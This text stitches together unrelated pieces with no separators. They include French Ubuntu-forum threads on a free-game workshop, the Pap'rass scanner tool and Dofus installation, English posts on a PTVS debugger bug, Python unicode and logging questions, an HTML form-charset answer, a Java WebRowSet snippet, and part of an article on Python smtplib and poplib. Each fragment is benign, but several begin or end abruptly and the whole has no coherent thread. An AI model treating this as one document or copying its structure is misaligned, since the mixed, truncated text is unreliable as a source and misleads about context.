Puis, si on a le temps, les participants insèreront l'image rendue en plusieurs exemplaires avec Gimp sur une image de fond (trouvée sur internet). Ils ajouteront le personnage Sorlo pour se donner une idée de la taille que doit avoir la barque. On utilisera donc l'outil de recadrage, les calques et l'outil de redimensionnement.
L'image de fond provient de http://commons.wikimedia.org/wiki/File: … rfeurs.jpg
Dernière modification par doudoulolita (Le 12/07/2010, à 13:56)
Hors ligne
tshirtman
Re : Faire une animation sur la création de jeux vidéo libres
Oula, l'idée est intéressante mais assez perturbante du point de vue perspective ^^.
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Comme je l'ai marqué sur l'autre topic sur USF, je n'ai pas eu grand monde à mon animation.
Sur les 5/6 inscrits, seulement 2 se sont présentés, un jeune de 15 ans gentil mais qui croit que ça lui sera facile de devenir testeur de jeux, et un adulte qui s'intéressait en fait à la retouche photo sur Gimp.
Le jeune a quand même commencé un petit iceberg en vue d'en faire un élement de décor pour USF, avec Blender; ma barque ne le motivait pas beaucoup (et pourtant, sur le plan didactique, il y avait plus à apprendre !)
Pour une animation de 2x2h, on ne peut de toute façon pas faire un truc très travaillé.
Je voulais surtout leur apprendre à modéliser et texturer la barque et j'ai un peu vite fait l'insertion sur le fond, sans trop me prendre la tête dessus, j'avoue !
L'idéal serait en fait de "fabriquer la mer" avec Blender ou en tout cas de mieux placer les barques sous la camera pour avoir une perspective correcte, effectivement (mais comment placer des repères fiables ?).
Il faudrait aussi mettre quelques vagues en bas des barques pour les faire flotter en utilisant une copie du calque et un masque de calque.
Mais travailler sur un décor "à plat" (et non un truc en hauteur) n'était peut-être la meilleure idée pour un décor de jeu 2D.
Le jeune qui a fait l'iceberg pendant l'animation voudra sans doute faire aussi la mer avec Blender ou avec Gimp et là, je dois dire que je n'ai pas encore étudié la question de la profondeur. On se retrouvera aussi avec un problème de perpective.
En fait, la question que je me posais avant de concevoir cette animation, c'était de savoir si je choisissais le thème du décor et que je l'imposais à tous (plus facile avec un groupe de personnes au-delà de 4 ou 5) ou si je partais des idées des participants, ce qui implique qu'ils se mettent d'accord et pour moi, de m'adapter à un truc qu'on n'a pas testé avant.
Dans l'un comme l'autre cas, j'ai fait une erreur en oubliant un des principes de base du jeu, qui fonctionne en 2D et dont le décor doit se travailler sur l'axe Z de Blender !
J'espère avoir un peu de monde Jeudi et vendredi pour la programmation, mais si besoin, je m'adapterai aux personnes présentes.
De toute façon, la préparation de ces ateliers m'a permis d'acquérir des petites bases sur Python et j'ai même fait un essai de Pygame grâce à des tutos sur le web, donc ce n'est pas du temps perdu.
Je me suis aussi acheté le bouquin "The blender Gamekit", en anglais. A suivre...
Dernière modification par doudoulolita (Le 20/07/2010, à 18:56)
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Je me suis amusée à faire encore d'autres petits essais en python en mode texte mais je voulais passer au côté graphique.
Dans le livre "Initiation à la programmation" d'Yves Bailly, qui m'a servi de base, les exemples sont donnés avec la bibliothèque Qt.
J'ai trouvé des tutos intéressants pour python avec Pygame (en anglais)
J'ai suivi les 2 premiers tutos, très simples, de pygame-tutorial et un autre pour apprendre à incorporer une image . Mon code n'est pas super mais ça affiche quelque chose !
Je suppose qu'une fonction pour les rectangles serait bien ou même peut-être existe-t-il quelque chose de "tout fait" dans Pygame. Les chiffres entre parenthèses indiquent d'abord la couleur de la ligne en mode RVB, puis les coordonnées des points de début et de fin (en pixels).
Pour trouver les codes de couleurs, choisir une couleur dans le sélecteur de couleur de Gimp et noter les chiffres R,V et B indiqués sur la droite du sélecteur de couleur.
Ce que le livre d'Yves Bailly m'a fait comprendre, c'est que pour créer un jeu en python, par ex., il faut d'abord exprimer clairement les choses et définir objets et actions du jeu (en français, tout bêtement !).
En les exprimant clairement et de manière détaillée, on voit plus rapidement comment travailler et structurer le code qu'on fera par la suite.
Un simple mouvement d'un des éléments du décor nécessite de définir les coordonnées de cet objet, de définir ses modalités de déplacement, d'indiquer ce qui provoque ce déplacement (touche de clavier, par ex); le fait qu'il ait une certaine vitesse implique le temps, et donc peut-être un chronomètre, etc!
Dernière modification par doudoulolita (Le 20/07/2010, à 19:16)
Hors ligne
tshirtman
Re : Faire une animation sur la création de jeux vidéo libres
Ce que le livre d'Yves Bailly m'a fait comprendre, c'est que pour créer un jeu en python, par ex., il faut d'abord exprimer clairement les choses et définir objets et actions du jeu (en français, tout bêtement !).
En les exprimant clairement et de manière détaillée, on voit plus rapidement comment travailler et structurer le code qu'on fera par la suite.
tout à fait, c'est vrai pour tout type de programmes, et les jeux ne font pas exceptions, mieux on sait ce qu'on veux faire (et ce n'est pas facile) plus on a de chance de le faire correctement!
un jeune de 15 ans gentil mais qui croit que ça lui sera facile de devenir testeur de jeux,
c'est facile, sauf si tu veux que ce soit un vrai métier…
Dernière modification par tshirtman (Le 20/07/2010, à 19:34)
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Pour un jeune, je pense que les logiciels libres et en particulier les jeux libres leur offrent une chance formidable de s'entraîner et de vérifier leur motivation au cas où ils souhaiteraient faire de leur passion un métier.
Tester, développer, c'est quand même plus facile dans ce cadre qu'au sein d'une entreprise très fermée, non ?
Le problème de certains ados, c'est qu'ils pensent que pour être testeur, il suffit juste de jouer et que ce sera des jeux qui les passionnent alors qu'un simple tour sur les forums au sujet de ce métier (ou de cette activité, si on préfère) montre le contraire.
Mais que les ados rêvent, c'est normal. Après, s'ils veulent vraiment réaliser leur rêve, il leur faudra se confronter à la réalité et prouver leur motivation pour pouvoir vivre de leur passion.
Je dis ça alors qu'ado, je rêvais d'être styliste chez Jean-Paul Gaultier, et que je me suis retrouvée quelques années plus tard simple patronnière dans le Sentier (ceux qui connaissent Paris savent dans quelles conditions on y travaille le plus souvent)...
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
J'ai oublié de dire ici que je n'ai pas eu beaucoup plus de monde pour l'atelier programmation. Un adulte qui pensait qu'il s'agissait de faire des bases de données (et dans son cas, un simple tableur comme calc devait lui suffire, à mon avis), le jeune qui était là pour Blender et deux autres plus jeunes encore.
Les jeunes ont eu du mal à s'intéresser à Ultimate Smash Friends et à python !
Celui de 15 ans m'a montré RPG maker dont pour ma part je ne raffole pas mais qui a amusé les autres pour créer des décors très facilement.
Le côté programmation des persos sur RPGmaker n'est pas si évident que ça en a l'air, j'ai eu ensuite du mal à reproduire ce que m'avait montré le jeune, qui pourtant semblait super simple.
Ce que je n'aime pas dans ce programme, c'est le côté "déjà tout fait" que les jeunes, eux, aiment beaucoup.
Ce qui est plutôt pratique, c'est la simplicité de création des décors qui peut plaire aux plus jeunes pour les amener ensuite vers plus de programmation avec les personnages.
Je ne sais pas si ce type de jeu permettant de créer un jeu existe en logiciel libre et a ce côté facile et convivial qu'aiment les jeunes.
Jusqu'ici nos recherches en matière de jeux intéressants sont un peu stériles. J'ai voulu mettre Yo frankie sur les ordis du boulot et ça ne fonctionne pas alors que chez moi ça marche.
C'est sans doute nos ordis du boulot qui pèchent quelque part. J'ai en effet Ubuntu Lucid Lynx comme au boulot mais ma config est supérieure.
Dernière modification par doudoulolita (Le 19/08/2010, à 07:29)
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Par hasard, tout récemment, j'ai découvert le jeu Plee the bear mais pour contribuer, c'est encore plus difficile car c'est en python C++.
Les tutoriels sont par contre très bien documentés et le jeu présente une cohérence intéressante et un mini scénario.:)
A titre perso je vais continuer à apprendre python et pygame. Je verrai plus tard si je peux réunir des jeunes adultes et des ados motivés pour un autre atelier.
Dernière modification par doudoulolita (Le 19/08/2010, à 07:31)
Hors ligne |
PTVS has inconsistent behavior when stepping through code. When using "Step Over" sometimes it steps over and sometimes it steps into. Below is a script to reproduce the issue, machine and python config, and a video showing the problem with PTVS 2.1RC1. The problem is reproducible in PTVS2.0 as well.
script:
def func(param1):
temp = param1
def foo(param1):
func(param1)
def main():
a_string = "A string"
foo(a_string)
if __name__ == "__main__":
main()
breakpoint at a_string = "A string"
right click file and select "Start with Debugging"
step over a_string = "A string"
step over foo(a_string)
ptvs steps into foo(a_string)
Python 2.7.5 x86
Windows 7 x64
Visual Studio 2013
Video of bug:
http://youtu.be/ZMbq1Fpi09k |
Manipulating ResultSet
You can delete a row by moving cursor to the row position and calling the deleteRow() method on the WebRowSet instance. Similarly, you can update one or more values in a row by moving the cursor to the row position and calling the appropriate update method. The following code example does both.
... ... ...
ResultSet rs =
stmt.executeQuery("select * from student ");
WebRowSet wrs = new WebRowSetImpl();
wrs.populate(rs);
wrs.absolute(1); //move to first row
wrs.deleteRow(); //delete current row
wrs.absolute(2); //move to second row
wrs.updateInt(4,20);//update current row
... ... ...
The first four lines of the code snippet are obvious: instantiate the object and populate it with the result set. The next two lines try to delete the first row. The final two lines try to update the value at fourth column of second row to 20. Outputting this WebRowSet object produces the following <data> element.
<data> <deleteRow> <columnValue>200</columnValue> <columnValue>Jack</columnValue> <columnValue>Dakota</columnValue> <columnValue>21</columnValue> </deleteRow> <currentRow> <columnValue>100</columnValue> <columnValue>John</columnValue> <columnValue>Doe</columnValue> <columnValue>26</columnValue> <updateRow>20</updateRow> </currentRow> </data>
This XML snippet shows that the first row is marked for deletion with the <deleteRow> tag. The value in the fourth column position of the second row is marked for update from current value of 26 to a new value of 20.
Committing the Changes
So far I've only manipulated the result. These changes will not be reflected in the underlying database until I commit. The following code, if executes successfully, makes the changes permanent by committing them.
... ... ...
wrs.acceptChanges();
... ... ...
|
bipede
Re : Besoin de testeurs pour Pap'rass
Merci bipede
Il n'y a pas de quoi
Ca fonctionne pour ton scanner ?
Hors ligne
jeremix
Re : Besoin de testeurs pour Pap'rass
Oui, ça fonctionne, mais je retape la valeur voulu à chaque fois (au cas où ça provoquerais un problème), car cela m'affiche 2 résolutions différentes.
ubuntucounter user 8236
Hors ligne
bipede
Re : Besoin de testeurs pour Pap'rass
Oui, ça fonctionne, mais je retape la valeur voulu à chaque fois (au cas où ça provoquerais un problème), car cela m'affiche 2 résolutions différentes.
http://img209.imageshack.us/img209/8752 … trezp3.png
J'ai vu le problème, c'est juste un petit bug d'affichage que j'ai rectifié...
La version 2.02 est disponible sous forme de .deb à cet endroit. Je recompilerai pour win32 dès que possible...
Hors ligne
thierrybo
Re : Besoin de testeurs pour Pap'rass
Arg, gros bug chez moi ! Après la v1 .1, j'avais installé paprass 2.01 puis de 2.02 sans scanner de nouveau document. Aujourd'hui je veux scanner, rien ne se passe après avoir cliqué sur commencer.
La fenêtre de sélection du scanner n'apparaît plus. J'ai toujours la version 1.1 installée en parallèle qui tourne sans problème.
Thierry
Hors ligne
bipede
Re : Besoin de testeurs pour Pap'rass
Arg, gros bug chez moi ! Après la v1 .1, j'avais installé paprass 2.01 puis de 2.02 sans scanner de nouveau document. Aujourd'hui je veux scanner, rien ne se passe après avoir cliqué sur commencer.
La fenêtre de sélection du scanner n'apparaît plus. J'ai toujours la version 1.1 installée en parallèle qui tourne sans problème.
Thierry
Lance paprass depuis un terminal et dis-moi ce qu'il te raconte...
Hors ligne
thierrybo
Re : Besoin de testeurs pour Pap'rass
Jusqu'au moment où je clique "Numériser", rien (en 1.1 j'ai la fenêtre de sélection du scanner qui s'affiche). Si je clique sur "Commencer " :
Traceback (most recent call last):
File "/usr/share/paprass/paprass", line 3279, in Commencer
dlg = InitScanner(u"Choix du scanner", listeScanner)
File "/usr/share/paprass/paprass", line 2899, in __init__
self.listechoix = wx.Choice(self, -1, choice=choix)
File "/usr/lib/python2.5/site-packages/wx-2.8-gtk2-unicode/wx/_controls.py", line 493, in __init__
_controls_.Choice_swiginit(self,_controls_.new_Choice(*args, **kwargs))
TypeError: 'choice' is an invalid keyword argument for this function
Hors ligne
bipede
Re : Besoin de testeurs pour Pap'rass
Jusqu'au moment où je clique "Numériser", rien (en 1.1 j'ai la fenêtre de sélection du scanner qui s'affiche). Si je clique sur "Commencer " :
Traceback (most recent call last):
File "/usr/share/paprass/paprass", line 3279, in Commencer
dlg = InitScanner(u"Choix du scanner", listeScanner)
File "/usr/share/paprass/paprass", line 2899, in __init__
self.listechoix = wx.Choice(self, -1, choice=choix)
File "/usr/lib/python2.5/site-packages/wx-2.8-gtk2-unicode/wx/_controls.py", line 493, in __init__
_controls_.Choice_swiginit(self,_controls_.new_Choice(*args, **kwargs))
TypeError: 'choice' is an invalid keyword argument for this function
Voila l'intérêt de tester...
Tu as certainement plusieurs matériels reconnus par sane, et comme chez moi je n'en possède qu'un seul, je n'avais pas repéré le bug...
C'est réparé, et la version 2.03 est disponible sous forme de deb à cet endroit.
Tiens moi au courant...
Dernière modification par bipede (Le 10/06/2008, à 18:08)
Hors ligne
thierrybo
Re : Besoin de testeurs pour Pap'rass
Maintenant la fenêtre de sélection du scanner n'apparait toujours pas, et en cliquant sur "Commencer" :
Traceback (most recent call last):
File "/usr/share/paprass/paprass", line 3279, in Commencer
dlg = InitScanner(u"Choix du scanner", listeScanner)
File "/usr/share/paprass/paprass", line 2900, in __init__
if SCANVAR.GetDevice() != "INDEFINI":
AttributeError: ScanVar instance has no attribute 'GetDevice'
Hors ligne
bipede
Re : Besoin de testeurs pour Pap'rass
Maintenant la fenêtre de sélection du scanner n'apparait toujours pas, et en cliquant sur "Commencer" :
Traceback (most recent call last):
File "/usr/share/paprass/paprass", line 3279, in Commencer
dlg = InitScanner(u"Choix du scanner", listeScanner)
File "/usr/share/paprass/paprass", line 2900, in __init__
if SCANVAR.GetDevice() != "INDEFINI":
AttributeError: ScanVar instance has no attribute 'GetDevice'
Hou la la!
Deux bugs dans la même procédure...
J'ai fait fort là...
C'est réparé avec la version 2.04
Avec toutes mes excuses...
Hors ligne
thierrybo
Re : Besoin de testeurs pour Pap'rass
Cà avance ! Maintenant la fenêtre de sélection apparaît en cliquant sur Commencer, mais dès que je valide le scanner :
Traceback (most recent call last):
File "/usr/share/paprass/paprass", line 3283, in Commencer
if val == gtk.RESPONSE_OK and len(resu) > 0:
NameError: global name 'gtk' is not defined
Hors ligne
bipede
Re : Besoin de testeurs pour Pap'rass
Cà avance ! Maintenant la fenêtre de sélection apparaît en cliquant sur Commencer, mais dès que je valide le scanner :
Traceback (most recent call last):
File "/usr/share/paprass/paprass", line 3283, in Commencer
if val == gtk.RESPONSE_OK and len(resu) > 0:
NameError: global name 'gtk' is not defined
Faut se rendre à l'évidence... Je suis nul...
Je n'ose plus dire que c'est réparé, mais la version 2.05 tente de le faire....
Hors ligne
netmaxim
Re : Besoin de testeurs pour Pap'rass
Salut bipede,
Je suis tombé sur ton blog puis sur ce thread, c'est très intéressant !
Et je te tire mon chapeau, quelle "sympacité" ! On voit le boulot de passioné !
Petite question :
Est-ce que les pdf générés sont indéxés par leur contenu (ocr) ?
Est-ce que tu as prévu de le faire ?
Si c'est déjà le cas, désolé, je pose la question avant de tester ;-)
Je m'en vais de ce pas tester.
Petite suggestion : pour pouvoir faire "sudo aptitude install paprass", ce qui serait vraiment pratique
(surtout pour les update)
http://www.debianaddict.org/article31.html
Hors ligne
thierrybo
Re : Besoin de testeurs pour Pap'rass
OK, merci çà marche, super.
Maintenant je reviens sur l'ergonomie . Tu n'as pas remis des choses que tu avais ajouté ajoutées dans la 1.1 à ma demande notamment :
- Quand on clique sur Numériser, comme on veut forcément utiliser le scanner, dans la V1.1 la procédure commence automatiquement avec la demande de sélection éventuelle du scanner, sans avoir à cliquer sur Commencer.
- Dans la fonction Classer, le classement n'est plus dans l'ordre alpha de la 1.1
- Il ne l'est pas non plus dans Configurer / Définir le plan de Classement (mais il ne l'était pas non plus en 1.1)
Dernière modification par thierrybo (Le 14/06/2008, à 11:06)
Hors ligne
Thibaud
Re : Besoin de testeurs pour Pap'rass
Bonjour !
Merci et bravo pour ce travail et ce logiciel qui a l'air très intéressant.
Cependant, je me demande quel est son apport quand on dispose d'un moteur de recherche comme tracker ou beagle ? Ne peut-on pas simplement nommer les documents et choisir les dossiers dans lesquels on les classe ?
Merci pour les explications,
Thibaud.
Hors ligne
bipede
Re : Besoin de testeurs pour Pap'rass
Bonjour !
Merci et bravo pour ce travail et ce logiciel qui a l'air très intéressant.
Cependant, je me demande quel est son apport quand on dispose d'un moteur de recherche comme tracker ou beagle ? Ne peut-on pas simplement nommer les documents et choisir les dossiers dans lesquels on les classe ?
Merci pour les explications,
Thibaud.
Je pense que ce n'est pas la même chose...
Bien sûr, il est toujours possible de créer une arborescence sur son disque, et de donner des noms significatifs à ses fichiers, mais ça ne remplacera jamais un logiciel spécifique qui gère un plan de classement, ne serait-ce que par la souplesse et la simplicité des mises à jours du plan.
Tracker ou Beagle sont d'excellents logiciels d'indexation du contenu des disques, mais sont faits pour de la recherche rapide de fichiers. Ce ne sont pas des gestionnaires de contenu...
Ceci dit, si tes besoins sont parfaitement satisfaits par Tracker ou Beagle, Pap'rass te sera inutile... C'est ça l'avantage du libre... On peut choisir les outils qui correspondent à nos besoins, et on est parfaitement libre de ses choix...
Hors ligne
g_barthe
Re : Besoin de testeurs pour Pap'rass
Salut Bipède,
Je test depuis 1 semaine et ca me parait fantastique.
Par contre je me place en novice ubuntu (pas mon cas).
Dans le paramétrage pour choisir le visualiseur de fichier pdf, suivant la distrib, il est différent. Moi par exemple étant sous KDE, j'ai du mettre kpdf.
Alors serait t'il envisageable de manière simple (faut pas que tu ais 4j de développement intensif derrière non plus) de proposer les logiciels de visu de pdf installé sur la machine le tout dans une liste déroulante.
Cela histoire de simplifier le paramétrage pour les nouveaux venus sur Ubuntu qui n'ont pas forcément l'habitude des commandes pour lancer un soft.
Sinon beau boulot.
@+
Mon forum perso sur le génie climatique http://le-genie-climatique.positifforum.com/
Le forum des travaux manuels : http://pausebroderie.fr/
Hors ligne
g_barthe
Re : Besoin de testeurs pour Pap'rass
Je vais rajouter encore un truc mais je cherchais à envoyer par mail un doc que j'ai classé.
Et là... bah apparement c'est pas faisable.
Est-ce que ce genre de fonction serait faisable assez facilement et si ca interesse du monde évidement.
Encore merci.
Mon forum perso sur le génie climatique http://le-genie-climatique.positifforum.com/
Le forum des travaux manuels : http://pausebroderie.fr/
Hors ligne
g_barthe
Re : Besoin de testeurs pour Pap'rass
Bonjour,
Le projet est-il toujours en activité ???
Merci.
Mon forum perso sur le génie climatique http://le-genie-climatique.positifforum.com/
Le forum des travaux manuels : http://pausebroderie.fr/
Hors ligne
bipede
Re : Besoin de testeurs pour Pap'rass
Bonjour,
Le projet est-il toujours en activité ???
Merci.
Je viens de revenir de vacances
Je suis en train de créer un site plus rationnel et plus pratique pour mes développements en python, avec un suivi des versions plus efficace.
Je retiens tes suggestions, et je te demanderai des précisions complémentaires quand je serai prêt à y retravailler...
Hors ligne
g_barthe
Re : Besoin de testeurs pour Pap'rass
pas de soucis désolé je savais pas que tu étais en vacances.
Si tu cherches un truc pour héberger ton projet tu peux aller sur codingteam (gratuit et complet).
Hésite pas à poser des questions sur ce que je t'ai demandé.
@+
Mon forum perso sur le génie climatique http://le-genie-climatique.positifforum.com/
Le forum des travaux manuels : http://pausebroderie.fr/
Hors ligne
clapas34
Re : Besoin de testeurs pour Pap'rass
Bonjour, une question toute bête sur paprass que je teste en ce moment.
Le scan fonctionne bien, j'ajoute des documents et je crée le plan de classement .. oui mais voilà ...
Je ne vois pas comment classer un document. Après avoir fait click droit et avoir choisi une rubrique, je valide et il ne se passe rien. Après contrôle le document n'est pas classé.
Paprass V2.05 et ubuntu 8.04
Hors ligne
bipede
Re : Besoin de testeurs pour Pap'rass
@clapas34
Bonjour,
Ton plan de classement est bien composé de Classeurs-dossiers-chemises ?
En effet, tu ne peux classer les documents que dans des chemises, et si tu t'es arrêté au niveau classeur ou dossier dans ton plan, ça ne peut pas fonctionner...
Sinon, tu peux lancer pap'rass depuis un terminal, et si tu as des messages qui s'y affichent au moment du classement, peux-tu me les communiquer ?
Hors ligne
clapas34
Re : Besoin de testeurs pour Pap'rass
Bingo ... en plein dans le mille !
Merci Bipède, ce n'était que cela. Je n'avait pas vu qu'il faut pousser l'arborescence jusqu'en bas, les fameuses chemises.
Hors ligne
shrek_master
Re : Besoin de testeurs pour Pap'rass
Bonjour
Voici mes quelques remarques :
Petite question, sauf erreur, je voudrai savoir s'il n'est pas possible de bouger l'ordre de présentation des documents de manière personnaliser. Du genre j'ai scanné mes bulletins de paie dans le désordre et j'aimerai les reclasser dans l'ordre mensuel, voir décroissant manuellement.
Peux-t-on faire cela aussi pour le système de classement.
Est-il possible d'intégrer une sauvegarde de la base de documents sur un disque dur externe, une clé usb. Cela est la partie simple.
Sinon j'avais plutôt pensé à une gravure DVD ou passage possible en fichier ISO.
MERCI
François
Excellent logiciel et j'ai été très surpris de l'intégration dans ubuntu en fichier .deb.
anonym_user
Re : Besoin de testeurs pour Pap'rass
Salut,
Excellente idée ce soft !
J'ai juste un petit problème : les doc ne se classe pas dans les chemises que je crée. Après chaque tentative de classement la recherche sur le classeur m'indique qu'il est vide. La recherche par mot clé retrouve le doc mais le document reste considéré comme non classé.
Y a t-il quelque chose à configurer qui m'a échappé ?
Je suis nouveau sur Ubuntu (Hardy) mais je deviens de plus en plus accroc. Encore quelques config et j'aurai presque tout ce dont j'ai besoin... |
If I try to paste a unicode character such as the middle dot:
·
in my python interpreter it does nothing. I'm using Terminal.app on Mac OS X and when I'm simply in in bash I have no trouble:
:~$ ·
But in the interpreter:
:~$ python
Python 2.6.1 (r261:67515, Feb 11 2010, 00:51:29)
[GCC 4.2.1 (Apple Inc. build 5646)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>>
^^ I get nothing, it just ignores that I just pasted the character. If I use the escape \xNN\xNN representation of the middle dot '\xc2\xb7', and try to convert to unicode, trying to show the dot causes the interpreter to throw an error:
>>> unicode('\xc2\xb7')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
UnicodeDecodeError: 'ascii' codec can't decode byte 0xc2 in position 0: ordinal not in range(128)
I have setup 'utf-8' as my default encoding in sitecustomize.py so:
>>> sys.getdefaultencoding()
'utf-8'
What gives? It's not the Terminal. It's not Python, what am I doing wrong?!
This question is not related to this question, as that indivdiual is able to paste unicode into his Terminal. |
The issue is that you haven't specified how the POST data should be encoded by the browser, and subsequently you are getting whatever the browser has guessed it should use - usually ISO-8859-1 instead of Unicode (UTF-8).
The HTML 4.01 spec for the FORM element includes the "accept-charset" attribute which allows you to specify your preference for which encoding to POST data with:
accept-charset = charset list [CI]
This attribute specifies the list of
character encodings for input data
that is accepted by the server
processing this form. The value is a
space- and/or comma-delimited list of
charset values. The client must
interpret this list as an exclusive-or
list, i.e., the server is able to
accept any single character encoding
per entity received.
The default value for this attribute
is the reserved string "UNKNOWN". User
agents may interpret this value as the
character encoding that was used to
transmit the document containing this
FORM element.
In other words, if you serve a page encoded in UTF-8, the browser would default to posting requests in UTF-8.
The best fix is to specify the character encoding for all your pages by either including the appropriate encoding in your response headers, or including something like the following in your HTML within the HEAD section:
<META http-equiv="Content-Type" content="text/html; charset=UTF-8">
The HTML 4.01 spec has a section on how to specify which character encoding you are serving.
An alternate but lesser fix is to not specify the character encoding anywhere, and instead decode your filename manually assuming the browser is sending in the default encoding of ISO-8859-1:
def upload_file(request):
if request.method == 'POST':
form = UploadFileForm(request.POST, request.FILES)
if form.is_valid():
filename = form.cleaned_data.image.name.decode('iso-8859-1')
...
|
Untwisting Python Network Programming
by Kendrew Lau
08/10/2006
Networking is an essential task in software applications nowadays. Many programming languages have support for network programming to various extents. While the core libraries of most languages allow low-level socket programming, other libraries and third-party extensions often facilitate higher-level Internet protocols. For example, Java has a standard API to access sockets and send emails (via the URL class), but other common Internet protocols are available through external libraries such as JavaMail, JTelnet, and JTA. Perl has a native Unix-style interface to sockets and convenient core modules such as IO::Socket, Net::POP3, Net::SMTP, and Net::FTP. To access Telnet programmatically in Perl, the CPAN module Net::Telnet is a good option.
Python is an exception--it has very good built-in support for both socket and various Internet protocols, including POP3, SMTP, FTP, Telnet, and Gopher. The Python core distribution contains many networking modules, such as socket, poplib, ftplib, smtplib, telnetlib, and gopherlib. Being components in a high-level programming language, these modules encapsulate the complexity of the underlying protocols and are very convenient to use. Twisted is also another powerful networking framework, which, unlike the core networking modules, adopts an asynchronous approach in the networking programs.
This article introduces basic client-side networking using both core Python modules and the Twisted framework. For its example, I will show how to send, receive, and delete emails, and conduct Telnet sessions. I have written two functionally equivalent examples, one using the core modules (mail-core.py) and another using Twisted (mail-twisted.py), with both start, stop, and interact with a server to process emails. These programs work with any standard-compliant SMTP and POP3 servers in sending and retrieving of emails. The starting and stopping of server are specific to the Apache James mail server, which I choose as a local testing server due to its ease of installation and its shutdown procedure in a Telnet session.
Sending Mails with smtplib
The core module smtplib provides a SMTP class that encapsulates the interactions to a SMTP server to send emails. Essentially, you create an SMTP instance with the address of the server specified, invoke sendmail to send the mail(s), and finally close the SMTP connection by the quit method:
def sendMail(host, addr, to, subject, content):
import smtplib
from email.MIMEText import MIMEText
print "Sending mail from", addr, "to", to, "...",
server = smtplib.SMTP(host)
msg = MIMEText(content)
msg["Subject"] = subject
msg["From"] = addr
msg["To"] = to
server.sendmail(addr, [to], msg.as_string())
server.quit()
print "done."
The sendmail method takes parameters of the sender's address, receivers's addresses in a list, and the content of the message. Because the message content should be in the MIME format, use the convenient class MIMEText (from email.MIMEText) to create a text message. Create a MIMEText with the message body, specify the subject, from, and to addresses with the dictionary-like syntax, and take it as a string when passing to sendmail.
This testing server accepts and relays emails from anyone, and this is the default configuration of the Apache James server. Although it is fine for a local testing server, most, if not all, SMTP servers in the Internet mandate certain security measures to fight spam. To use a SMTP object with a server that requires authentication, invoke the login(username, password) method before sending any message. This method keeps silent on success and raises an exception when the authentication fails.
Retrieving Emails with poplib
Retrieving emails is inherently more complex than sending: it involves identification of the user, getting the number of messages, and retrieving or deleting the messages. The POP3 class in the poplib module provides methods to do this:
def display(host, user, passwd, deletion = 0):
import poplib, email
pop3 = poplib.POP3(host)
pop3.user(user)
pop3.pass_(passwd)
num = len(pop3.list()[1])
print user, "has", num, "messages"
format = "%-3s %-15s %s"
if num > 0:
if deletion:
print "Deleting", num, "messages",
for i in range(1, num+1):
pop3.dele(i)
print ".",
print " done."
else:
print format % ("Num", "From", "Subject")
for i in range(1, num+1):
str = string.join(pop3.top(i, 1)[1], "\n")
msg = email.message_from_string(str)
print format % (i, msg["From"], msg["Subject"])
pop3.quit()
Like the SMTP class, you can create a POP3 instance by specifying the mail server. Terminate the POP3 session with the quit method. Log in to the POP3 account with the methods user and pass_ with parameters of the user name and password respectively.
To get the number of messages in the server, you may use either the stat method or the list method. The stat method returns a tuple of two values: the number of messages and the total mailbox size. The list method, used in the example, returns the message list in the following form:
(response, ['mesg_num octets', ...], octets)
Here the second value is a list of strings, each stating the number and size of a message in the mailbox. The number of messages is the size of this list of strings.
Retrieve a message wholly with the method retr(message_index) or partially with top(message_index, number_of_lines). In both methods, the message index is 1-based and returns a message in the following form:
(response, ['line', ...], octets)
Typically, the second value in the results is the most interesting: it is a list of the lines of the message. The example program needs only to retrieve the header information, so it gets string containing all header plus one line of body text with string.join(pop3.top(i, 1)[1], "\n"), then uses email.message_from_string to parse the string to build a MIME message object. From the MIME message, you can fetch the email subject, sender address, and receiver address(es) via the standard dictionary syntax.
To delete a message in the mailbox, use the method dele(message_index). It sets the deletion flag of the specified message and then the server actually does the deletion when you close the POP3 session. If you have a program calling dele on a message but the message persists, check that the program actually invokes quit. |
I've got the following code running on each request of a wsgi (web2py) application:
import logging, logging.handlers
from logging import StreamHandler, Formatter
def get_configured_logger(name):
logger = logging.getLogger(name)
if (len(logger.handlers) == 0):
# This logger has no handlers, so we can assume it hasn't yet been configured (Django uses similiar trick)
# === Configure logger ===
# Create Formatted StreamHandler:
FORMAT = "%(process)s %(thread)s: %(message)s"
formatter = logging.Formatter(fmt=FORMAT)
handler = logging.StreamHandler()
handler.setFormatter(formatter)
logger.addHandler(handler)
logger.setLevel(logging.DEBUG)
logger.debug('CONFIGURING LOGGER')
return logger
# Get app specific logger:
logger = get_configured_logger(request.application)
logger.debug("TEST")
It's meant to configure the logger once, with the formatted handler I want. It works, except that I'm getting double entries in my stdout:
81893 4329050112: CONFIGURING LOGGERDEBUG:dummy:CONFIGURING LOGGER81893 4329050112: TESTDEBUG:dummy:TEST
How do I use my new formatted handler and get rid of/hide the default one? |
yoann21
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
barback a écrit :
Bonjour,
j'avais posé mon problème en Juin, pour arriver à la conclusion qu'il fallait le tester en machine virtuelle. Toute ton aide est à la page 22, tu m'as fais réinstaller AIR, passer par le sdk...
Aurais tu une autre idée aujourd'hui?
J'avais fait des tests en juin mais je n'avais pas réussi à reproduire ton problème, désolé.
Je jetterai de nouveau un oeil sur ton problème demain dans le train si j'ai le temps.
On va tenter quelque chose :
sudo chown -R $USER:$USER $HOME
Sinon, créé un autre utilisateur sur ton pc, et essaie de lancer Dofus.
Dernière modification par yoann21 (Le 05/09/2011, à 19:36)
Hors ligne
Omac-Do
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
Sinon je n'ai pas tout compris la deuxième série de commande que tu as faite. Est-ce que les paquets se sont installés correctement ?
Comme tu risques d'avoir des problèmes de librairie, fait cette commande :
Qui donne >
inconnu@linux-fup3:~> ldd /opt/Dofus_Paquet/share/UpLauncher
ldd: /opt/Dofus_Paquet/share/UpLauncher: Aucun fichier ou dossier de ce type
inconnu@linux-fup3:~>
Voilà tout ...
Hors ligne
Omac-Do
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
[Double-post] pour la bonne cause.
Après quelques bidouilles et téléchargement de paquets par ci par là , j'en suis arrivé à ça >
